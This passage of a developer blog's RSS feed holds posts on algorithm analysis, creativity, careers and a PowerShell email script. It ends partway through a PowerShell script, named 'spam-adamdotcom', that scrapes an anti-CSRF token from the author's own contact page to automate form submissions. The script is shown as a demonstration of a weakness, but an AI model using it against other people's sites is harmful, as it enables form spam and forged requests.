<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Q0uZX6UMyPM:hwn8_1V6b4Q:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Q0uZX6UMyPM:hwn8_1V6b4Q:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Q0uZX6UMyPM:hwn8_1V6b4Q:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/Q0uZX6UMyPM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/02/01/preaching-to-the-choir/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/02/01/preaching-to-the-choir/</feedburner:origLink></item>
		<item>
		<title>Algorithm Analysis and Asymptotic Complexity / Big O Notation Is Important</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/j_a0aAMTXU8/</link>
		<comments>http://adam.kahtava.com/journal/2010/01/21/algorithm-analysis-and-asymptotic-complexity-big-o-notation-is-important/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 16:00:36 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2184</guid>
		<description><![CDATA[Algorithm Analysis (Asymptotic Complexity / Big O Notation) courses are the bane of computer science students everywhere. These courses were mandatory, dry, and lacked real world pragmatism for students who just wanted to get stuff done. Well, that's what we told ourselves; that's the theory we presented to our friends - we were convinced that framework [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/larskflem/314387345/"><img src="http://farm1.static.flickr.com/121/314387345_6b48d92d91_m.jpg" alt="" /></a></div>
<p>Algorithm Analysis (Asymptotic Complexity / <a href="http://en.wikipedia.org/wiki/Big_O_notation">Big O Notation</a>) courses are the bane of computer science students everywhere. These courses were mandatory, dry, and lacked real world pragmatism for students who just wanted to<em> get stuff done</em>. Well, that's what we told ourselves; that's the theory we presented to our friends - we were convinced that framework vendors or the hoogie-boogie man would figure out the most efficient way to performance tune / compile our code. We looked to Sun, Microsoft, or IBM to figure out the details. In truth we were lazy-naive students and Algorithm Analysis was tougher than we'd like to admit - much harder than programming in 4th generation programming languages, more difficult than computer theory, or operating system theory.</p>
<p>As I brush up Algorithm Analysis I found these perspectives interesting:</p>
<blockquote><p>to be a good programmer, you just program ever day for two years ... to be a world-class programmer, you can program every day for ten years, or you can program every day for two years and take an algorithms class - <a href="http://ocw.mit.edu/OcwWeb/Electrical-Engineering-and-Computer-Science/6-046JFall-2005/VideoLectures/detail/embed01.htm">Introduction - Analysis of Algorithms, Insertion Sort, Mergesort</a></p></blockquote>
<blockquote><p>Having a solid base of algorithmic knowledge and technique is one characteristic that separates the truly skilled programmers from the novices. With modern computing technology, you can accomplish some tasks without knowing much about algorithms, but with a good background in algorithms, you can do much, much more - <a href="http://www.amazon.com/Introduction-Algorithms-Second-Thomas-Cormen/dp/0262032937">Introduction to Algorithms, Second Edition</a></p></blockquote>
<p>It's unfortunate that our professors never mentioned that Algorithm Analysis would be an integral part of academic type interviews and a prerequisite for getting a job at Google, but then again who would have listened?</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=j_a0aAMTXU8:dUnhxeEmZBM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=j_a0aAMTXU8:dUnhxeEmZBM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=j_a0aAMTXU8:dUnhxeEmZBM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/j_a0aAMTXU8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/01/21/algorithm-analysis-and-asymptotic-complexity-big-o-notation-is-important/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/01/21/algorithm-analysis-and-asymptotic-complexity-big-o-notation-is-important/</feedburner:origLink></item>
		<item>
		<title>Sending Email With Attachments In PowerShell</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/X5vjIAPYWrc/</link>
		<comments>http://adam.kahtava.com/journal/2010/01/19/sending-email-with-attachments-in-powershell/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 16:00:22 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[PowerShell]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2225</guid>
		<description><![CDATA[Here's an example on how to send email with attachments via PowerShell: PLAIN TEXT POWERSHELL: # A Mailer script that makes use of System.Net to send email with attachments # # Sample usage: #&#160; PS C:\&#62; Send-Mail-With-Attachment 'email@domain.com' 'Hello world!' 'Filename.txt' &#160; function global:Send-Mail-With-Attachment&#40;$to, $subject, $file&#41;&#123; &#160; &#160; $filenameAndPath = &#40;Resolve-Path .\$file&#41;.ToString&#40;&#41; &#160; $from = [...]]]></description>
			<content:encoded><![CDATA[<p>Here's an example on how to send email with attachments via PowerShell:</p>
<div class="igBar"><span id="lpowershell-30"><a href="#" onclick="javascript:showPlainTxt('powershell-30'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">POWERSHELL:</span>
<div id="powershell-30">
<div class="powershell">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;"># A Mailer script that makes use of System.Net to send email with attachments</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;">#</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;"># Sample usage:</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #004400; font-style: italic;">#&nbsp; PS C:\&gt; Send-Mail-With-Attachment 'email@domain.com' 'Hello world!' 'Filename.txt'</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> global:Send-Mail-With-Attachment<span style="color: #66cc66;">&#40;</span>$to, $subject, $file<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $filenameAndPath = <span style="color: #66cc66;">&#40;</span><span style="color: #000066;">Resolve-Path</span> .\$file<span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">ToString</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $from = <span style="color: #3366CC;">'Automated Powershell Mailer'</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#91;</span>void<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#91;</span>Reflection.<span style="color: #006600;">Assembly</span><span style="color: #66cc66;">&#93;</span>::LoadWithPartialName<span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'System.Net'</span><span style="color: #66cc66;">&#41;</span> | out-null</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $message = <span style="color: #000066;">New-Object</span> System.<span style="color: #006600;">Net</span>.<span style="color: #006600;">Mail</span>.<span style="color: #006600;">MailMessage</span><span style="color: #66cc66;">&#40;</span>$from, $to, $subject, $subject<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $attachment = <span style="color: #000066;">New-Object</span> System.<span style="color: #006600;">Net</span>.<span style="color: #006600;">Mail</span>.<span style="color: #006600;">Attachment</span><span style="color: #66cc66;">&#40;</span>$filenameAndPath, <span style="color: #3366CC;">'text/plain'</span><span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $message.<span style="color: #006600;">Attachments</span>.<span style="color: #006600;">Add</span><span style="color: #66cc66;">&#40;</span>$attachment<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $smtpClient = <span style="color: #000066;">New-Object</span> System.<span style="color: #006600;">Net</span>.<span style="color: #006600;">Mail</span>.<span style="color: #006600;">SmtpClient</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $smtpClient.<span style="color: #006600;">host</span> = <span style="color: #3366CC;">'mail.domain.com'</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $smtpClient.<span style="color: #006600;">Send</span><span style="color: #66cc66;">&#40;</span>$message<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Contribute, view, or download the script here: <a href="http://code.google.com/p/adamdotcom-script/source/browse/trunk/Scripts/PowerShell/Mailer.ps1">Mailer.ps1</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=X5vjIAPYWrc:y1wV9NUgwlc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=X5vjIAPYWrc:y1wV9NUgwlc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=X5vjIAPYWrc:y1wV9NUgwlc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=X5vjIAPYWrc:y1wV9NUgwlc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/X5vjIAPYWrc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/01/19/sending-email-with-attachments-in-powershell/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/01/19/sending-email-with-attachments-in-powershell/</feedburner:origLink></item>
		<item>
		<title>Life’s Creative Circle: Creativity Isn’t About Art or Design</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/P4uaRrHRn_o/</link>
		<comments>http://adam.kahtava.com/journal/2010/01/14/lifes-creative-circle-creativity-isnt-about-arts/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 16:00:56 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Musings]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2186</guid>
		<description><![CDATA[The most popular conception of creativity is that it's something to do with the arts. Nonsense. - Paul Arden, It's Not How Good You Are, It's How Good You Wan't To Be. This year marks a new decade for me (I'm saying goodbye to the late 20's). According to Arden's Creative Circle this blog was written during [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>The most popular conception of creativity is that it's something to do with the arts.</strong></p>
<p><strong>Nonsense. <span style="font-weight: normal;">- Paul Arden, <a href="http://www.amazon.com/Its-Not-How-Good-Want/dp/0714843377/">It's Not How Good You Are, It's How Good You Wan't To Be</a>.</span></strong></p></blockquote>
<p style="text-align: center;"><a href="http://www.flickr.com/photos/kahtava/4263213876/sizes/l/"><img class="aligncenter" src="http://farm5.static.flickr.com/4006/4263213876_0230df515b.jpg" alt="" /></a></p>
<p>This year marks a new decade for me (I'm saying goodbye to the late 20's). According to Arden's Creative Circle this blog was written during my era of Maturity and for the next 10 years I'll be Hell Bent On Success. Thanks for putting up with my growing pains and griping.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=P4uaRrHRn_o:qJhm7oI3J8k:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=P4uaRrHRn_o:qJhm7oI3J8k:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=P4uaRrHRn_o:qJhm7oI3J8k:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=P4uaRrHRn_o:qJhm7oI3J8k:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/P4uaRrHRn_o" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/01/14/lifes-creative-circle-creativity-isnt-about-arts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/01/14/lifes-creative-circle-creativity-isnt-about-arts/</feedburner:origLink></item>
		<item>
		<title>Finding Work That You Love</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/kN_4j8owLLE/</link>
		<comments>http://adam.kahtava.com/journal/2009/12/31/finding-work-that-you-love/#comments</comments>
		<pubDate>Thu, 31 Dec 2009 16:30:26 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2169</guid>
		<description><![CDATA[As a youngster I was encouraged to: “Find work that you love and do what makes you happy." Ironically, this sage advice was usually delivered by the unhappy, unemployed, or paranoid (paranoid that the government was stealing their money, unhappy with the uncertainty of not working, or unemployed because keeping work in small remote economies [...]]]></description>
			<content:encoded><![CDATA[<p>As a youngster I was encouraged to: <em>“Find work that you love and do what makes you happy."</em> Ironically, this sage advice was usually delivered by the unhappy, unemployed, or paranoid (paranoid that the government was stealing their money, unhappy with the uncertainty of not working, or unemployed because keeping work in small remote economies is tough). It's also fair to mention that this piece of advice was usually followed by: <em>"Get a trade. You need a trade!”</em> This was probably great advice a couple decades ago, or if you're working in remote communities, but less relevant in today's world. I loosely followed this advice through my younger years and I remember constantly being frustrated when work inevitably lost its fun. Thankfully, I eventually realized that <em>work</em> is <em>work</em> (if <em>work</em> was <em>fun</em> we’d just call it <em>fun</em>, then we'd be preoccupied with <em>having work</em>, not <em>fun</em>). Anyhow, I sympathize with today's youngsters who are wrestling with this same conundrum - being told one thing, but experiencing a different reality in the real world. My words of advice today would be to: <em>“get experience, work, do whatever you can, build a resume, go to school, and you’ll eventually find work that you love. Oh, and don’t look solely to work for happiness.”</em></p>
<p>Today I do find my work fun, but I couldn't have got here without the experience I gained while plowing through boring jobs (like working the assembly line, tree planting, or digging outhouse pits). In order to find the job you love you need to start gaining experience now.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=kN_4j8owLLE:1jxEj_7i7e8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=kN_4j8owLLE:1jxEj_7i7e8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=kN_4j8owLLE:1jxEj_7i7e8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=kN_4j8owLLE:1jxEj_7i7e8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/kN_4j8owLLE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/12/31/finding-work-that-you-love/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/12/31/finding-work-that-you-love/</feedburner:origLink></item>
		<item>
		<title>Hacking Anti Cross-site Request Forgery Tokens (CSRF) With Powershell</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/ulrRlMAOjt4/</link>
		<comments>http://adam.kahtava.com/journal/2009/12/16/hacking-an-anti-cross-site-request-forgery-tokens-csrf-with-powershell/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 16:00:25 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[PowerShell]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2149</guid>
		<description><![CDATA[I ported the example of how to hack an Anti CRSF Token protected form - previously shown in my post What Are Anti Cross-site Request Forgery Tokens And What Are They Good For? - to PowerShell. How to hack an Anti CRSF Token from PowerShell PLAIN TEXT POWERSHELL: function global:spam-adamdotcom&#40;&#41;&#123; &#160; &#160; # Load the assembly [...]]]></description>
			<content:encoded><![CDATA[<p>I ported the example of how to hack an Anti CRSF Token protected form - previously shown in my post <a href="http://adam.kahtava.com/journal/2009/11/25/what-are-anti-cross-site-request-forgery-tokens-and-what-are-they-good-for/">What Are Anti Cross-site Request Forgery Tokens And What Are They Good For?</a> - to PowerShell.</p>
<p><strong>How to hack an Anti CRSF Token from PowerShell</strong></p>
<div class="igBar"><span id="lpowershell-33"><a href="#" onclick="javascript:showPlainTxt('powershell-33'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">POWERSHELL:</span>
<div id="powershell-33">
<div class="powershell">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> global:spam-adamdotcom<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #004400; font-style: italic;"># Load the assembly containing WebClientWithCookies and RegexUtilities</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#91;</span>Reflection.<span style="color: #006600;">Assembly</span><span style="color: #66cc66;">&#93;</span>::LoadFile<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #000066;">Resolve-Path</span> <span style="color: #3366CC;">"AdamDotCom.WebClientWithCookies.dll"</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> | out-null</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #004400; font-style: italic;"># Load the assembly containing System.Web.HttpUtilitiy</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#91;</span>void<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#91;</span>Reflection.<span style="color: #006600;">Assembly</span><span style="color: #66cc66;">&#93;</span>::LoadWithPartialName<span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">"System.Web"</span><span style="color: #66cc66;">&#41;</span> | out-null&nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #004400; font-style: italic;"># create a new instance of the HTTP Web Client that supports cookies</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $webClient = <span style="color: #000066;">New-Object</span> AdamDotCom.<span style="color: #006600;">Common</span>.<span style="color: #006600;">Service</span>.<span style="color: #006600;">Utilities</span>.<span style="color: #006600;">WebClientWithCookies</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #004400; font-style: italic;"># download the page that contains the Anti CRSF Token</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#91;</span>void<span style="color: #66cc66;">&#93;</span> $webClient.<span style="color: #006600;">DownloadData</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">"http://adam.kahtava.com/contact"</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #004400; font-style: italic;"># use a regular expression to grab the Anti CRSF Token</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #004400; font-style: italic;">#&nbsp; - this is an MVC site so we're looking for a token named &quot;__RequestVerificationToken_Lw__&quot;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $regex = <span style="color: #3366CC;">"__RequestVerificationToken_Lw__=(?&lt;CRSF_Token&gt;[^;]+)"</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
